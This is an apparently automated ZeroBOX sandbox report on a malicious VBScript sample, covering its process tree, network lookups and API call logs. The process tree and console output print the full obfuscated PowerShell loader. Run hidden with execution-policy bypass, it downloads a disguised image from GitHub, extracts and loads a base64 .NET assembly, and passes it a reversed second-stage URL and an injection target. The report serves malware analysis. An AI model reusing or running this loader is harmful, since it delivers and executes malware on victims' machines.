popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

nighttttMPDW-constraints.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 12, 2024, 6:41 p.m. Oct. 12, 2024, 6:47 p.m.
Size 189.9KB
Type Little-endian UTF-16 Unicode text, with CRLF line terminators
MD5 ba21082c47f33b42f6243198bea92684
SHA256 6be117567324f1c1db4f2cbf48a25a3eaa24904238a37ab3b5e49b6970078b65
CRC32 69716550
ssdeep 3072:INzV8Tdp96YKJK9toTm80gt5p0Gw/PAKDzrnXflzB3EK2xs+71NLYHzOKU:IoZp96Yc6F7fHREN8HzOT
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\nighttttMPDW-constraints.vbs

    316

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2136

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('yjLimageUrl = YqLhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg YqL;yjLwebClient = New-Object System.Net.WebClie'+'nt;yjLimageB'+'ytes = yjLwebClient.DownloadData(yjLimageUrl);yjLimageText = [System.Text.Encoding]::UTF8.GetString(yjLimageBytes);yj'+'Lst'+'artFlag = YqL<<BASE64_START'+'>>YqL;yjLendFlag = YqL<<BASE64_END>>YqL;yjLstartIndex = yjLimageText.IndexOf(y'+'jLstartFlag);yjLendIndex = yjLimageText.IndexOf(yjLendFlag);yjLstartIndex -ge 0 -and yjLe'+'ndI'+'ndex -gt yjLstartIndex;yjLs'+'tartIndex += yjLstartFlag'+'.Length;yjLbase64Length = yjLendIndex - yjLstartIndex;yjLbase64Command = yjLimageText.Substring(yjLsta'+'rtIndex, yjLbase64Length'+');yjLcommandBytes = [System.Convert]::FromBase6'+'4String(yj'+'Lbas'+'e64Command);yjLloadedAssembly = [System.Reflection.Assembly]::Load(yjLco'+'mmandBytes);yjLvaiM'+'ethod = [dnlib.IO.Home].GetMethod(YqLVAIYqL);yjLvaiMethod.Invoke('+'yjLnull, '+'@(YqLtxt.44446esa'+'b'+'bbbbbewmadam/431.871.64.891//:ptthYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLAddInProcess32YqL, YqLdesativadoYqL, YqLdesativadoYqL));').RePlaCE('yjL','$').RePlaCE('YqL',[stRING][ChAr]39) | iex"

        2276

Name Response Post-Analysis Lookup
raw.githubusercontent.com
A 185.199.109.133
A 185.199.111.133
A 185.199.110.133
A 185.199.108.133
185.199.108.133
IP Address Status Action
164.124.101.2 Active Moloch
185.199.109.133 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:192
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: tivado'));
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:255
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: tivado'));
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: At line:1 char:361
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: BASE64_END>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $i
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdc18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cced8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cdbd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d6f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d830
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d830
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d830
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068d030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 524288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02570000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2136
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f5a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2136
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f62000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f63000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f64000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fdb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f5b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f65000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fcc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02750000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f66000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fdc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
